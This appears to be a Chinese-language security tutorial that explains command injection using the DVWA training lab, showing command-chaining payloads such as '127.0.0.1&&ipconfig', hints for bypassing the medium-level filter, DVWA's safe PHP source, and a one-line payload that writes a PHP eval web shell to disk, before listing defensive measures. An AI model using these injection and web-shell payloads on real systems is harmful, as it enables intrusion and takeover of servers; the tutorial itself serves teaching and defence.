00 简介
命令执行漏洞指的是攻击者能够通过某种方式将恶意代码注入到应用程序或系统中,从而实现在受攻击的主机上执行任意命令的攻击。这种漏洞常见于Web应用程序和操作系统中。为避免此类漏洞的产生,建议开发人员在编写代码时进行输入校验和过滤,对用户输入的数据进行严格限制、过滤和验证,不信任来自用户端以及其他非受信任来源的输入,并且限制使用不可靠的外部命令。同时,在运行服务的服务器上,应该加强安全策略,限制进程的权限并且定期更新补丁,以避免已知的漏洞被攻击利用。
01 命令执行漏洞
命令执行漏洞- 例子1(无防御)
示例:(我这里使用dvwa靶场做演示)
解决靶场响应结果的中文乱码
charset=utf-8,修改为charset=gb2312
把安全等级调到:low(最低级)
选择命令注入
可以查看源码
没有做任何防御
靶场这里的网页命令使用的是ping,但是我们可以通过连接符在操作系统中连续执行命令, & 、&& 、| 、 || 都可以作为命令连接符使用,此漏洞可以注入命令开启后门。
如:127.0.0.1&&ipconfig (ipconfig是查看主机的ip信息,如果要执行其他DOS命令:DOS 命令)
命令执行漏洞- 例子2
把靶场的安全等级调到:Medium
从DVWA的medium级别源码可以看到,对参数进行了一些简单的过滤,此时可以通过&或|或者根据过滤的字符进行组合等绕过防御。
此时继续使用&&进行拼接是会报错的
以通过&或|或者根据过滤的字符进行组合等绕过防御
命令执行漏洞- 例子3
把靶场的安全等级调到:High
源码:
命令执行漏洞- 例子4
把靶场的安全等级调到:Impossible(最高级,号称不可能有漏洞)
源码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// 检查反CSRF令牌
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// 获取输入
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// 将IP分成4个字节
$octet = explode( ".", $target );
// 检查每个字节是否为整数
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// 确定操作系统并执行ping命令.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// 最终用户的反馈
echo "<pre>{$cmd}</pre>";
}
else {
// 行动 让用户名出错
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// 生成反CSRF令牌
generateSessionToken();
?>
02 php命令执行
php命令执行反弹 shell
php命令执行写 shell
// echo 需要添加的字符串 >>[路径\]文件名.扩展名
// >> 追加 > 覆盖 文件不存在就创建
127.0.0.1|echo "<?php @eval($_POST["pass"]);?>" >D:/1.php
03 命令执行漏洞防护
为了防范命令执行漏洞,可以采用以下措施:
-
实施输入验证与过滤: 在输入参数时,实现对非预期字符的规避处理,验证来自客户端的输入是否包含恶意代码或特殊字符,限制输入参数的长度和格式等。
-
防止命令注入攻击:使用安全的API或Web框架,例如OWASP ESAPI,使用预编译语句,禁止使用字符串拼接来构建可能存在风险的命令,如sql、shell、ldap等语句。对所有外部输入都要进行严格地过滤、验证以及转义。
-
最小化依赖: 避免使用不必要的功能或库,在实现功能时尽量减少使用第三方模块、组件和插件。
-
加强访问控制:在应用程序中实施源IP地址、角色、会话ID等身份验证和访问控制机制,限制某些用户只访问本应用程序所必需的资源。
-
加强日志监控: 增加安全日志记录机制和审计轨迹跟踪功能,在应用程序中捕获异常请求和潜在威胁事件,并进行及时的告警与响应。
-
定期更新维护: 及时在应用程序或系统中安装最新的操作系统、补丁和软件更新,保持系统处于最新、最安全的状态。
以上是一些常见的命令执行漏洞防护措施。但应注意,在实际开发过程中需要根据具体情况采取不同的针对性措施,并建议在项目代码审查、安全测试和评审阶段进行全面的安全检测与验证。